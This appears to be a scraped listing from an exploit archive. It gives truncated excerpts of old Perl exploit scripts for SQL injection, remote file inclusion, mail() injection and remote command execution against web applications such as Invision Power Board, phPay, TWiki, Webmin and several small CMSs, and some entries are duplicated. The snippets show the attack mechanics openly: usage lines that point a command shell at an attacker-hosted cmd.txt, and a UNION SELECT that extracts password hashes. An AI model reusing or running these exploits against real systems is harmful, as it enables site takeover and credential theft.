Annuaire 1Two 2.2 - SQL Injection

Annuaire 1Two 2.2 - SQL Injection !/usr/bin/perl Affected.scr..: Annuaire 1Two 2.2 Poc.ID........: 09060902.txt Type..........: SQL Injection without quote Risk.level....: Medium Vendor.Status.: Unpatched Src.download..: http://www.1two.org/ Poc.link......: acid-root.new.fr/poc/09060902.txt...

Pheap CMS 1.1 - lpref Remote File Inclusion

Pheap CMS 1.1 - lpref Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; in config.php line 13:...

Lanifex DMO <= 2.3b (_incMgr) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - DMO: Lanifex Database of Managed Objects = 2.3 Beta incMgr Remote File Include Vulnerability + + + - Script name: DMO: Lanifex Database of Managed Objects v. 2.3 Beta -...

Lanifex DMO 2.3b - _incMgr Remote File Inclusion

Lanifex DMO 2.3b - incMgr Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - DMO: Lanifex Database of Managed Objects perl exploit.pl http://site.com/DMOPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...

Lanifex DMO 2.3b - '_incMgr' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - DMO: Lanifex Database of Managed Objects perl exploit.pl http://site.com/DMOPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komend...

AlberT-EasySite <= 1.0a5 (PSA_PATH) Remote File Include Exploit

Exploit for unknown platform in category web applications =============================================================== AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variab...

AlberT-EasySite 1.0a5 - 'PSA_PATH' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...

fusionnews.txt

!/usr/bin/perl Aria-Security.net Advisory Discovered by: OUTLAW Gr33t to: A.u.r.a & HessamX & Cl0wn & DrtRp Special Thanx To All Aria-Security Users use LWP::UserAgent; print "\n === Fusion News v3.7 Remote File Inclusion\n"; print "\n === Discovered by OutLaw .\n"; print "\n ===...

adv45-K-159-2006.txt

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

AlberT-EasySite 1.0a5 - PSA_PATH Remote File Inclusion

AlberT-EasySite 1.0a5 - PSAPATH Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka =...

PHPay 2.02 - nu_mail.inc.php?mail() Remote Injection

PHPay 2.02 - numail.inc.php?mail Remote Injection !/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford Vulnerability: mail Injection Vuln Code: \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed...

PHPay 2.02 - 'nu_mail.inc.php?mail()' Remote Injection

!/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford Vulnerability: mail Injection Vuln Code: \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print...

phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit

Exploit for unknown platform in category web applications =============================================================== phPay \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print "\theaders :...

[ECHO_ADV_45$2006] WEBinsta CMS 0.3.1 &#40;templates_dir&#41; Remote File Inclusion Vulnerability

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion

WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...

TWiki 4.0.4 - 'configure' Remote Command Execution

!/usr/bin/perl Tue Aug 1 13:18:12 CEST 2006 [email protected] use strict; use LWP::UserAgent; use LWP::Simple; use HTTP::Request; use HTTP::Response; use Getopt::Long; $| = 1; couse 1 is bigger than 0 my $proxy,$proxyuser,$proxypass; my $host,$debug,$dir, $command; my $options = GetOptions 'host=...

Cisco/Protego CS-MARS < 4.2.1 (JBoss) Remote Code Execution Exploit

Exploit for hardware platform in category remote exploits =================================================================== Cisco/Protego CS-MARS Addressed in CSCse47646 CS-MARS is an event correlation product orginally written by Protego, which is now owned by Cisco. It is built on top of JBos...

Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)

Exploit for unknown platform in category web applications ================================================================== Invision Power Board 2.1 new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM...

web-usermin.pl.txt

!/usr/bin/perl Exploit for WEBMIN and USERMIN less than 1.29x ARBITARY REMOTE FILE DISCLOSURE WORKS FOR HTTP AND HTTPS NOW Thrusday 13th July 2006 Vulnerability Disclosure at securitydot.net Coded by UmZ! [email protected] Make sure you have LWP before using this exploit. USE IT AT YOUR OWN RIS...

Invision Power Board 2.1 2.1.6 - SQL Injection (1)

Invision Power Board 2.1 2.1.6 - SQL Injection 1 !/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-te...